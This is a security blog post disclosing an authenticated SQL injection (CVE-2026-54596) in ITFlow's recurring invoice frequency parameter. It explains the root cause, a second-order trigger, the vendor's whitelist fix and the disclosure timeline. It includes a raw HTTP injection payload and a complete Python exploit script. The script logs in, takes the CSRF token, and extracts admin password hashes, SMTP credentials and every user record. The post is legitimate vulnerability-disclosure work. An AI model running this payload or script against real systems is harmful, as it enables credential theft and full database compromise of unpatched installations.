security research
iltosec
← back to blog
Vulnerability Research Injection enumeration SQLI

CVE-2026-54596: Authenticated SQL Injection via recurring_invoice_frequency Parameter Enables Full Database Exfiltration

Summary

An SQL injection vulnerability exists in ITFlow's recurring invoice creation endpoint. The frequency POST parameter is sanitized by sanitizeInput() — which calls mysqli_real_escape_string() and strips HTML tags — but is then placed unquoted directly inside a DATE_ADD(... INTERVAL 1 $var) expression within an INSERT SET statement. Because the value sits in a numeric/keyword SQL context rather than a string context, quote escaping provides zero protection. Any authenticated user with the Technician role who has access to at least one client invoice can exfiltrate admin password hashes, SMTP credentials, and all user account data in a single HTTP request — without any admin interaction.

Additionally, the injected payload persists in the database and re-fires via a second-order injection when any user triggers the "Force Recurring" action, making the attacker's footprint entirely passive after the initial request.

CVE: CVE-2026-54596 | CVSS Score: High | Advisory: GHSA-f9m3-qjc9-v27j | Author: iltosec


Vulnerability Details

Root Cause

File: agent/post/recurring_invoice.php — Line 43

$recurring_invoice_frequency = sanitizeInput($_POST['frequency']);
// ...
recurring_invoice_next_date = DATE_ADD('$invoice_date', INTERVAL 1 $recurring_invoice_frequency),

image

sanitizeInput() calls mysqli_real_escape_string(), which escapes ', ", and \. None of these characters are needed to exploit a DATE_ADD(...INTERVAL 1 $var) expression. The three characters sufficient to break out are ), ,, and # — none of which are escaped.

An attacker can close the DATE_ADD() call, inject additional SET column assignments with a subquery result, and comment out the remainder of the original query. The extracted value is written into recurring_invoice_note (a TEXT column with no length limit) and is immediately readable from /agent/recurring_invoice.php.

Second-Order Injection

The force_recurring handler reads recurring_invoice_frequency back from the database and places it unquoted into a second UPDATE statement:

// force_recurring handler — unquoted reuse of stored value
UPDATE ... SET recurring_invoice_next_date = DATE_ADD(..., INTERVAL 1 $recurring_invoice_frequency) ...

image

The malicious payload persists in the database. Any legitimate user who clicks "Force Recurring" on the crafted record becomes an unwitting trigger — no new malicious request required.

Affected Files


Proof of Concept

Prerequisites

Injection Payload

POST /agent/post.php HTTP/1.1
Host: itflow.com
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=...; user_encryption_session_key=...

add_invoice_recurring=1&csrf_token=...&invoice_id=1
&frequency=MONTH),recurring_invoice_note=(SELECT+user_password+FROM+users+LIMIT+1),recurring_invoice_status=1,recurring_invoice_currency_code=0x61,recurring_invoice_category_id=0,recurring_invoice_client_id=1#

The extracted hash is immediately visible in the Notes field of the created recurring invoice:

GET /agent/recurring_invoice.php?recurring_invoice_id=178 HTTP/1.1
Host: itflow.com
Cookie: PHPSESSID=...

Exploit Script

python exploit.py http://itflow.com limiteduser@x.com 'emsJ_;PD@@;-r>4' 2 --all

The following PoC automates extraction of multiple targets in a single run:

#!/usr/bin/env python3
import re
import sys
import argparse
import requests

BANNER = r"""
  ___ _____ ___ _
 |_ _|_   _| __| |_____ __ __
  | |  | | | _|| / _ \ V  V /
 |___| |_| |_| |_\___/\_/\_/

  SQLi — recurring_invoice_frequency
  CVE: CVE-2026-54596
  Auth: Technician + accessible invoice
  by iltosec
"""

TARGETS = {
    "adminhash":  "(SELECT user_password FROM users LIMIT 1)",
    "adminemail": "(SELECT user_email FROM users LIMIT 1)",
    "smtppass":   "(SELECT config_smtp_password FROM settings)",
    "smtpuser":   "(SELECT config_smtp_username FROM settings)",
    "dbuser":     "(SELECT CURRENT_USER())",
    "dbversion":  "(SELECT VERSION())",
    "database":   "(SELECT DATABASE())",
}

USER_TYPE = {1: "Agent", 2: "Client"}

PREFIX = "MONTH),recurring_invoice_note="
TAIL   = ",recurring_invoice_status=1,recurring_invoice_currency_code=0x61,recurring_invoice_category_id=0,recurring_invoice_client_id=1#"


def payload(subquery):
    return PREFIX + subquery + TAIL


def parse_note(html):
    m = re.search(r"Notes.*?<div[^>]*card-body[^>]*>\s*(.*?)\s*</div>", html, re.DOTALL)
    if m:
        raw = re.sub(r"<[^>]+>", "", m.group(1)).strip()
        return raw if raw else None
    return None


def login(s, base, email, password):
    r = s.post(f"{base}/login.php", data={"email": email, "password": password, "login": "1"}, allow_redirects=False)
    return r.status_code in (301, 302)


def get_csrf(s, base):
    for page in ("agent/invoices.php", "agent/clients.php", "agent/tickets.php"):
        m = re.search(r'name="csrf_token"\s+value="([^"]{10,})"', s.get(f"{base}/{page}").text)
        if m:
            return m.group(1)
    return None


def fire(s, base, csrf, invoice_id, subquery):
    p = payload(subquery)
    if len(p) > 200:
        print(f"  [-] Payload too long ({len(p)}/200): {subquery}")
        return None
    r = s.post(f"{base}/agent/post.php", data={
        "add_invoice_recurring": "1",
        "csrf_token": csrf,
        "invoice_id": invoice_id,
        "frequency":  p,
    }, allow_redirects=True)
    if not re.search(r"recurring_invoice_id=(\d+)", r.url):
        return None
    return parse_note(r.text) or ""


def extract_users(s, base, csrf, invoice_id):
    count_raw = fire(s, base, csrf, invoice_id, "(SELECT COUNT(*) FROM users)")
    if not count_raw or not count_raw.isdigit():
        print("  [-] Failed to get user count")
        return
    count = int(count_raw)
    print(f"\n  Users ({count} total)\n")
    print(f"  {'#':<4} {'Name':<20} {'Email':<30} {'Type':<10} Hash")
    print(f"  {'-'*100}")
    for i in range(count):
        row = {}
        for col in ("user_name", "user_email", "user_type", "user_password"):
            row[col] = fire(s, base, csrf, invoice_id, f"(SELECT {col} FROM users LIMIT {i},1)") or "(null)"
        utype = USER_TYPE.get(int(row["user_type"]) if row["user_type"].isdigit() else 0, row["user_type"])
        print(f"  {i+1:<4} {row['user_name']:<20} {row['user_email']:<30} {utype:<10} {row['user_password']}")


def main():
    parser = argparse.ArgumentParser(
        prog="exploit.py",
        description="ITFlow CVE-2026-54596 - SQL Injection via recurring_invoice_frequency (agent/post/recurring_invoice.php:43) - by iltosec",
        formatter_class=argparse.RawTextHelpFormatter,
        epilog=(
            "Examples:\n"
            "  python exploit.py http://itflow.com admin@x.com 'P@ss!' 1 --all\n"
            "  python exploit.py http://itflow.com tech@x.com  'P@ss!' 2 --all\n"
            "  python exploit.py http://itflow.com tech@x.com  'P@ss!' 2 --adminhash --smtppass\n"
            "  python exploit.py http://itflow.com tech@x.com  'P@ss!' 2 --users\n"
            "  python exploit.py http://itflow.com tech@x.com  'P@ss!' 2 --dbuser --dbversion"
        ),
    )
    parser.add_argument("url",        help="Target base URL")
    parser.add_argument("email",      help="Login email")
    parser.add_argument("password",   help="Login password")
    parser.add_argument("invoice_id", help="Invoice ID the attacker can access")
    parser.add_argument("--adminhash",  action="store_true")
    parser.add_argument("--adminemail", action="store_true")
    parser.add_argument("--smtppass",   action="store_true")
    parser.add_argument("--smtpuser",   action="store_true")
    parser.add_argument("--dbuser",     action="store_true")
    parser.add_argument("--dbversion",  action="store_true")
    parser.add_argument("--database",   action="store_true")
    parser.add_argument("--users",      action="store_true", help="Dump all users table")
    parser.add_argument("--all",        action="store_true", help="Run all extractions")
    args = parser.parse_args()

    print(BANNER)
    base = args.url.rstrip("/")

    if args.all:
        selected  = list(TARGETS.keys())
        run_users = True
    else:
        selected  = [k for k in TARGETS if getattr(args, k, False)]
        run_users = args.users

    if not selected and not run_users:
        parser.print_help()
        sys.exit(1)

    s = requests.Session()
    s.headers["User-Agent"] = "Mozilla/5.0"

    print(f"[*] {base}  |  {args.email}")

    if not login(s, base, args.email, args.password):
        print("[-] Login failed")
        sys.exit(1)

    csrf = get_csrf(s, base)
    if not csrf:
        print("[-] CSRF token not found")
        sys.exit(1)

    print(f"[+] Logged in  |  CSRF: {csrf}")

    probe = fire(s, base, csrf, args.invoice_id, "(SELECT 1)")
    if probe is None:
        print(f"\n[-] Access denied for invoice_id={args.invoice_id}")
        print(f"    This invoice doesn't exist or belongs to a client")
        print(f"    that {args.email} cannot access.")
        print(f"    Try a different invoice_id (one assigned to your client).")
        sys.exit(1)
    print(f"[+] Injection reachable\n")

    for key in selected:
        val = fire(s, base, csrf, args.invoice_id, TARGETS[key])
        if val is None:
            print(f"  [-] {key}: blocked")
        elif val == "":
            print(f"  [!] {key}: NULL")
        else:
            print(f"  [+] {key}: {val}")

    if run_users:
        extract_users(s, base, csrf, args.invoice_id)

    print("\n[*] Done.")


if __name__ == "__main__":
    main()

Sample Output

Running against a Technician account (limiteduser@x.com) with access to invoice_id=2:

image


Impact

A single HTTP request from a Technician-level account achieves full database exfiltration:


Fix

Commit 7211426 resolves this vulnerability.

The fix enforces a strict whitelist on the frequency parameter, accepting only the string values year and month. Any other value is rejected before reaching the query. This effectively prevents the DATE_ADD breakout since the injected ), ,, and # characters are never valid whitelist members.

The commit also adds a validateDate() hardening touch on the date field.


Disclosure Timeline

Date Event
2026-05-19 Vulnerability discovered and reported to ITFlow via GitHub Security Advisory
2026-05-19 Vendor acknowledged
2026-05-20 Vendor proposed fix — commit 7211426
2026-05-20 Fix verified — whitelist validation confirmed to prevent DATE_ADD breakout
2026-06-02 Advisory closed
2026-06-06 CVE requested via GitHub Security Advisory
2026-06-15 CVE-2026-54596 assigned / published

References

found this useful?
share on x ↗
related posts